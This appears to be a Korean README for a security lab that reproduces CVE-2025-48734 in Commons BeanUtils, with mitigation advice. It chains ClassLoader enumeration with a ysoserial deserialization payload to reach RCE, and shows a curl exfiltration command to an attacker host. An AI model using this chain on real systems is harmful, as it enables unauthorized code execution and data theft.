
CVE-2025-48734 - Apache Commons BeanUtils의 1.11.0 이전 버전(및 2.x 브랜치에서 2.0.0-M2 이전)에 영향을 미칩니다.
교육 및 승인된 보안 연구 목적으로만 사용하세요.
이 저장소는 Apache Commons BeanUtils의 CVE-2025-48734 취약점을 재현하고, 특정 조건에서 공격자가 원격 코드 실행(RCE)으로 확장할 수 있는 방법을 탐색하기 위한 통제된 실습 환경을 제공합니다.
CVE-2025-48734는 Apache Commons BeanUtils의 1.11.0 미만 버전(2.x 브랜치는 2.0.0-M2 미만)에 영향을 미칩니다. 문제는 PropertyUtilsBean이 중첩 경로(예: enum.declaringClass)를 통해 Java enum의 declaringClass 속성에 접근할 수 있도록 허용하는 데 있습니다. 모든 enum은 java.lang.Enum에서 getDeclaringClass() 메서드를 상속하며, BeanUtils는 이를 탐색 가능한 속성으로 노출합니다.
getProperty() 또는 getNestedProperty() 호출에서 속성 경로를 제어할 수 있는 공격자는 다음을 수행할 수 있습니다:
ClassLoader에 대한 참조 획득 (enum.declaringClass.classLoader 경로)classLoader.URLs[n]을 반복하여 런타임에 로드된 모든 JAR 열거⚠️ 중요: 이 취약점 자체만으로 직접 RCE가 가능하지는 않습니다.
ClassLoader에 대한 접근을 제공하고 클래스패스 열거를 가능하게 하며, 코드 실행을 달성하려면 안전하지 않은 역직렬화 엔드포인트 및 취약한 가젯 라이브러리와 연결되어야 합니다. 상세 공격 분석 섹션을 참조하세요.
CVSS 점수: 8.8 (High) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
실습 환경은 두 가지 구성 요소로 이루어져 있습니다:
다음 엔드포인트를 노출하는 Spring Boot 서비스:
GET /api/property?path=<property-path> — PropertyUtilsBean.getNestedProperty()를 사용하여 중첩 속성을 읽으며, 검증이 없음. 이것이 CVE 진입점입니다.GET /api/nested-set?path=<path>&value=<value> — 중첩 속성 쓰기 (역시 취약함)POST /api/data/import — 원시 Java 직렬화 객체(application/octet-stream)를 수신하여 검증 없이 역직렬화함. 이것이 RCE 전달 벡터입니다.대상 빈(bean)은 Status enum을 포함하는 Order 객체입니다. 이를 통해 status.declaringClass.classLoader 체인을 구축할 수 있습니다.
참고:
/api/data/import엔드포인트는 CVE-2025-48734의 일부가 아닙니다. 취약한 역직렬화 엔드포인트가 CVE와 공존하는 현실적인 시나리오를 시뮬레이션하기 위해 포함되었습니다. 실제 애플리케이션에서 이러한 유형의 엔드포인트는 레거시 통합, 내부 API 또는 잘못 구성된 미들웨어에서 나타납니다.
| 라이브러리 | 버전 | 체인에서의 역할 |
|---|---|---|
commons-beanutils | 1.9.4 | CVE-2025-48734 진입점 |
commons-collections | 3.2.2 | 역직렬화 가젯 체인 |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
스크립트가 종속성을 설치하고, 프로젝트를 컴파일하며, systemd 서비스로 등록하고 자동으로 시작합니다. 애플리케이션은 0.0.0.0:8080에서 수신 대기합니다.
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
스크립트가 종속성을 설치하고 ysoserial을 다운로드합니다.
공격은 올바른 단계 순서를 강제하는 단일 스크립트로 완전 자동화됩니다. 각 단계는 다음 단계의 전제 조건입니다.
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
스크립트가 status.declaringClass와 status.declaringClass.classLoader를 탐색합니다. 둘 중 하나라도 차단되면 스크립트는 중단됩니다. — 애플리케이션이 패치된 상태이며 체인을 진행할 수 없습니다.
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
1단계에서 얻은 ClassLoader 참조를 사용하여 스크립트가 classLoader.URLs[n]을 반복하며 로드된 모든 JAR을 나열하고 Commons Collections 3.x를 찾습니다. 발견되지 않으면 스크립트는 중단됩니다. — 가젯 체인을 사용할 수 없습니다.
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
가젯 체인이 확인되면 스크립트는 Java 직렬화 매직 바이트(0xACED0005)를 전송하여 일반적인 import/sync 엔드포인트를 퍼징하고, 응답 패턴을 통해 ObjectInputStream.readObject()를 시도하는 엔드포인트를 식별합니다. 엔드포인트가 발견되지 않으면 스크립트는 중단됩니다.
POST /api/data/import (매직 바이트)
→ HTTP 200 — 엔드포인트 발견됨
ysoserial이 CommonsCollections6 페이로드를 생성하고(Java 11+에서 가장 이식성이 좋음) 발견된 엔드포인트로 전송합니다.
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 페이로드>
→ {"status": "success", "class": "java.util.HashSet"}
명령이 응답이 반환되기 전에 역직렬화 중 서버에서 실행됩니다. 출력은 파일로 리디렉션하거나 HTTP 콜백을 통해 유출할 수 있습니다:
# 파일에 쓰기
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# 그런 다음 Debian에서: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# HTTP를 통해 유출 (Kali에서 리스너)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
CVE는 직접적인 RCE 벡터가 아닙니다. — 나머지 체인을 가능하게 하는 정찰 피벗입니다:
CVE-2025-48734 없음:
→ ClassLoader 접근 불가
→ 클래스패스 열거 불가
→ Commons Collections 3.x가 있는지 확인할 방법 없음
→ 역직렬화 엔드포인트를 찾을 이유 없음
→ 체인이 시작부터 끊김
CVE-2025-48734 있음:
→ ClassLoader 노출됨
→ URLs[n]을 통해 전체 클래스패스 확인 가능
→ Commons Collections 3.x 확인됨
→ 퍼징을 통해 역직렬화 엔드포인트 발견
→ RCE 달성
전체 RCE를 위해 일치해야 하는 세 가지 조건:
| 조건 | 이 실습 | 실제 환경 |
|---|---|---|
| 필터링되지 않은 경로 입력이 있는 BeanUtils < 1.11.0 | ✅ | 레거시 앱에서 흔함 |
| 클래스패스에 가젯 라이브러리 (CC 3.x) | ✅ | 엔터프라이즈 Java에서 자주 발생 |
| 안전하지 않은 역직렬화 엔드포인트 | ✅ | 덜 흔하지만 레거시/미들웨어 통합에 존재 |
Commons BeanUtils 업그레이드:
| 아티팩트 | 취약한 버전 | 안전한 버전 |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
pom.xml에서:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
두 가지 보완 완화 방법:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
BeanUtils를 1.11.0으로 업그레이드한 후 서비스를 다시 컴파일하고 재시작합니다. 익스플로잇 스크립트를 실행하면 1단계에서 중단되어야 합니다:
[-] declaringClass 차단됨 - 애플리케이션이 패치됨. 중단 중.
이 도구는 교육 목적 및 승인된 보안 테스트용으로만 제공됩니다. 귀하가 소유하지 않거나 명시적인 서면 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다.